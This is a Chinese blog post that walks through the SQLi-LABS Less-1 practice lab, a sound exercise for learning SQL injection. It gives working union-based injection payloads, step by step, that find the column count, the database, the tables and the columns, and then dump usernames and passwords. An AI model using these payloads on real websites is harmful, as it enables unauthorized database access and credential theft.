首页 > 其他分享 >Less-1

Less-1

时间:2024-10-01 19:33:39浏览次数:6  
标签:group users Less union 数据库 --+ select

页面

1、首先要进行判断闭合方式

一般为两种 / 和 ' 或者 " 进行闭合

1.1

这是\进行判断,输入\,后面是',应该是单引号闭合

进行输入:

?id=1' --+

没有报错,说明是单引号闭合

2、查看字段数

进行查询一共有多少字段数

?id=1' order by 3--+

2.1

输入时候发现3有回显,但是4没有回显。由此判断字段数是3

3、判断回显位

-1' union select 1,2,3--+ //判断回显点

3.1发现有回显内容是正确的

加到4发现报错

由此可见2、3字段内容在回显页面中

4、进行爆破数据库名

同理将3改为database(),得到数据库名

-1' union select 1,2,database()--+ //得到数据库名

4.1:注意

注:这里改为-1是为了,不让数据库查询到此id,以便3执行后面的语句

得到数据库名security

5、爆破表名

语法:

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ //得到该数据库下的所有表名

此时发现数据库下面存在四个表

6、爆破字段名

我们进行爆破user表中的字段名

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ //得到users表中的字段名

7.爆破字段中的内容

以password和username的内容

-1' union select 1,2,group_concat(username,password) from users--+ //得到users表中username,password的内容

到此为止一共用到以下语句

1' order by 3--+ //判断出页面中存在三个字段
-1' union select 1,2,3--+ //判断回显点
-1' union select 1,2,database()--+ //得到数据库名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ //得到该数据库下的所有表名
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ //得到users表中的字段名
-1' union select 1,2,group_concat(username,password) from users--+ //得到users表中username,password的内容

标签:group,users,Less,union,数据库,--+,select
From: https://www.cnblogs.com/minmaxm/p/18443141

相关文章

  • 【CTF Web】BUUCTF SQLi-LABS Page-1(Basic Challenges) Less-12 Writeup(SQL注入+POST
    sqli-labs1点击启动靶机。SQLi-LABSPage-1(BasicChallenges)解法随便提交一些数据。审查元素。<formaction=""name="form1"method="post"> <divstyle="margin-top:15px;height:30px;">Username:&nbsp;&nbsp;&......
  • 【AI驱动 TDSQL-C Serverless 数据库技术实战营】AI赋能电商数据管理
            随着大数据时代的到来,数据量的激增对数据库系统提出了更高的要求。传统的数据库管理方式已经难以满足现代企业对于灵活性、可扩展性以及成本控制的需求。在此背景下,Serverless架构因其按需分配资源、自动扩展等特性而受到广泛关注。本文将探讨如何利用TDSQL-C......
  • 云栖实录 | 开源大数据全面升级:Native 核心引擎、Serverless 化、湖仓架构引领云上大
    本文根据2024云栖大会实录整理而成,演讲信息如下:演讲人:王峰|阿里云智能集团研究员、开源大数据平台负责人李钰|阿里云智能集团资深技术专家范振|阿里云智能集团高级技术专家李劲松|阿里云智能集团高级技术专家蒋乾|七猫免费小说数仓负责人活动:2024云栖大会-开源大数据专场基于......
  • [vue] vue-seamless-scroll 滚动到第二遍的时候不能进行点击的问题
    问题:使用vue-seamless-scroll组件时,循环第一遍可以正常点击,之后不能够正常点击,触发不了点击事件.解决办法:在vue-seamless-scroll外的父元素上添加点击事件,利用js的事件委托(通俗地来讲,就是把一个元素响应事件(click、keydown…)的函数委托到另一个元素)使用(data-XXX)自定义属性可以给......
  • Serverless + AI 让应用开发更简单,加速应用智能化
    2024云栖大会开幕,在大会第一天,阿里云正式发布全新产品——云应用开发平台CAP。CAP拥有丰富的场景化应用模板,可以极速体验,并且具备更低的成本优势以及灵活组装等特点,成为广大开发者与企业必备的一站式应用开发平台,让应用开发更简单。阿里云云原生应用平台负责人丁宇AI被认为......
  • Serverless + AI 让应用开发更简单,加速应用智能化
    2024云栖大会开幕,在大会第一天,阿里云正式发布全新产品——云应用开发平台CAP。CAP拥有丰富的场景化应用模板,可以极速体验,并且具备更低的成本优势以及灵活组装等特点,成为广大开发者与企业必备的一站式应用开发平台,让应用开发更简单。阿里云云原生应用平台负责人丁宇AI被认......
  • 【CTF Web】BUUCTF SQLi-LABS Page-1(Basic Challenges) Less-3 Writeup(SQL注入+GET请
    sqli-labs1点击启动靶机。SQLi-LABSPage-1(BasicChallenges)解法发送GET请求,id作为参数。http://b38e0f15-7e65-40e6-abf2-fc99e50b38e4.node5.buuoj.cn/Less-3/?id=1返回了用户名和密码。?id=1'发生报错。闭合括号:?id=1');--+正常输出。判断......
  • 【CTF Web】BUUCTF SQLi-LABS Page-1(Basic Challenges) Less-4 Writeup(SQL注入+GET请
    sqli-labs1点击启动靶机。SQLi-LABSPage-1(BasicChallenges)解法发送GET请求,id作为参数。http://b38e0f15-7e65-40e6-abf2-fc99e50b38e4.node5.buuoj.cn/Less-4/?id=1返回了用户名和密码。?id=1'正常输出。?id=1"发生报错。构造闭合:?id=1");--......
  • 【CTF Web】BUUCTF SQLi-LABS Page-1(Basic Challenges) Less-6 Writeup(SQL注入+GET请
    sqli-labs1点击启动靶机。SQLi-LABSPage-1(BasicChallenges)原理双注入模板:selectcount(*),concat(([payload]),floor(rand(0)*2))asafrom[table_name]groupbya解法发送GET请求,id作为参数。http://b3f804a6-9ba6-418d-ac25-bf8d48589b62.node5.......
  • Setup passphraseless ssh
    生成密钥对,将公钥添加到认证文件中$ssh-keygen-trsa-P''-f~/.ssh/id_rsa$cat~/.ssh/id_rsa.pub>>~/.ssh/authorized_keys$chmod0600~/.ssh/authorized_keys生成config文件,并修改文件权限为600$vi~/.ssh/configHost*StrictHostKeyCheckingno$chmod600......